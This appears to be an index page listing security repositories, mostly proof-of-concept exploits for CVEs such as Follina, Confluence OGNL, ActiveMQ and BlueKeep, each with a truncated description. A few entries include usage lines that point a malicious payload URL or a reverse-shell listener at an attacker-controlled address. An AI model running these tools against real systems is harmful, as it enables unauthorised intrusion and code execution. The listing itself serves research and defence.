cve-2022-42889-intercept

cve-2022-42889-intercept For versions below Java 11, special attention is required, as higher versions have already removed the Javascript interpreter. This solution targets Java 8. Intercept illegal parameters via JVM startup parameters and jps pid. quick start -----------------------load...

printix-CVE-2022-29554

CVE-2022-29554 Simple Release | Print Friendly A "Mishandling of Input to API" or "Exposed Dangerous Method or Function" vulnerability in PrintixService.exe, in Kofax Printix's "Printix Secure Cloud Print Management", Version 1.3.1156.0 and below allows a Local Or Remote attacker the ability to...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Proof of Concept by Nee Usage python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" What it does Creates a malicious word file which points to the payload url that you specify Hosts the default payload located in the web folder Proof Of Concept Pops calc b...

dp_cryptomg

dpcryptomg Another tool for exploiting CVE-2017-9248, a cryptographic weakness in Telerik UI for ASP.NET AJAX dialog handler. Exploitation leads to access to a file manager utility capable up uploading arbitrary files, usually leading to remote code execution. The vulnerability is caused by an...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerability A deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16. Setup Change the Values inside the...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Unauthenticated Remote Code Execution https://vulners.com/cve/CVE-2022-24637 Example python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

CVE-2025-22457

PoC for CVE-2025-22457 A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways Overview This is a proof of concept exploit to demonstrate exploitation of CVE-2025-22457. For a complete technical analysis of...

pritunl-CVE-2020-25200

CVE-2020-25200 Pritunl VPN server - Affected version: Pritunl v1.29.2145.25 553bbd ========================= Pritunl 1.29.2145.25 allows attackers to enumerate valid VPN usernames via a series of /auth/session login attempts. Initially, the server will return error 401. However, if the username i...

CVE-2022-26134

CVE-2022-26134 POC Description In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. POC 1. Run python3 confluence.py -u...

nec_aterm_tools

necatermtools This repo contains two tools developed to gain shell on NEC Aterm routers: 1. nec-aterm-firmware-config-extractor: extracts the HWRANDOMKEY from a firmware image. This key is needed to gereate a valid passord for logging in. 2. rakuraku-nec-shell: extracts the HWRANDOMKEY from a QR...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 Vulnerability ID: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Reproduce the vulnerability docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Vulnerability detection POC It is recommended ...

pii-shield

PII-Shield 🛡️ Zero-code log sanitization sidecar for Kubernetes. Prevents data leaks GDPR/SOC2 by redacting PII from logs before they leave the pod. PII-Shield runs in-process — CLI, sidecar, or WASM. There is no hosted API and no server your data is sent to. Same name, different projects. This is...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 Description In PHP versions 8.1. before 8.1.29, 8.2. before 8.2.20, 8.3. before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set to use certain code pages, Windows may use "Best Fit" behavior to replace characters in the command line...

CVE-2024-21413

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC 🚀 Usage Ensure you have appropriate permissions and authorization from the target system owner before using this script. Prerequisites Python 3.x impacket-smbserver Usage Example sudo python3 CVE-2024-21413.py 🛠️ Features...

CVE-2019-0708

CVE-2019-0708 Unauthenticated CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. Technical details: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit Module The Metasploit module has been pulled to rapid7:master. msf5 use...

Reversecore_MCP

Reversecore MCP AI-Powered Reverse Engineering & Security Analysis via Model Context Protocol An MCP server that gives AI assistants like Claude and Cursor the ability to perform reverse engineering, malware analysis, vulnerability research, digital forensics, and source code auditing through...

CVE-2018-16370

CVE-2018-16370 In PESCMS Team 2.2.1, attackers may upload and execute arbitrary PHP code through /Public/?g=Team&m=Setting&a=upgrade by placing a .php file in a ZIP archive.More details see https://github.com/lazyphp/PESCMS-TEAM/issues/2...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5 vulnerable to CVE-2022-46604 File Creation Extension Bypass which leads to RCE. The current exploit is made in Python 3 and exploits the vulnerability to upload a webshell which allows the remote execution of commands in the...

openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()

A flaw was found in OpenSSL. When processing a specially crafted PKCS7 or S/MIME Secure/Multipurpose Internet Mail Extensions signed message, a heap use-after-free vulnerability in the PKCS7verify function can be triggered. This occurs if the SignedData digestAlgorithms field is present as an emp...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit This is my own exploit for CVE-2023-46818 happy hacking! This exploit automates the attack described in CVE-2023-46818 by taking advantage of a PHP code injection vulnerability in ISPConfig version 3.2.11 and earlier. It logs into the ISPConfig panel using valid credentials...